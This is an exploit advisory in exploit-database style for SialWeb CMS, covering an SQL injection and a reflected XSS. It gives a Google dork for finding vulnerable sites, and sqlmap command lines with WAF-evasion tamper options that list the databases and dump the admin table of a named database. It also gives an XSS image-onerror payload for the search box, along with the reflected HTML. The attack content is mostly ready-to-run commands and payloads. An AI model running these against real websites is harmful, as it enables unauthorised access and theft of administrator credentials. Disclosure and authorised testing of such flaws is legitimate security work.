# Exploit Title: SialWeb CMS SQL Injection & XSS Vulnerability  
# Google Dork: intext:" By Sial Web" +inurl:/.php?id=  
# Date: 2020-03-22  
# Exploit Author: @ThelastVvV  
# Vendor Homepage:  
# Tested on: Ubuntu  
PoC 1:  
The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.  
For security demonstration or to reproduce follow the provided information and steps below to continue.  
SQLMAP Payload(s):  
sqlmap -u --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs  
sqlmap -u --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D zaryabin_db --tables  
sqlmap -u --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D zaryabin_db -T tbl_admin  
*Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..above )  
PoC 2 :  
XSS Vulnerability  
Payload(s) :  
in Search box use payload:  
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>  
<div id="search-category" class="input-group">  
<form class="search-box" action="" method="post">  
<input class="form-control" placeholder="Search here..." id="text-search" name="tsearch" value="<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>" type="search">  
<button id="btn-search-category" type="submit">  
<i class="fa fa-search">&nbsp;</i>  
Sent with [ProtonMail]( Secure Email.